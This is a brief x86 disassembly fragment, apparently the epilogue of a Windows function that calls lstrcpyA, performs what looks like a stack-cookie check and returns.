push ecx
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ecx, dword [esp + 0x104]
xor ecx, esp
call fcn.00430bec
add esp, 0x108
ret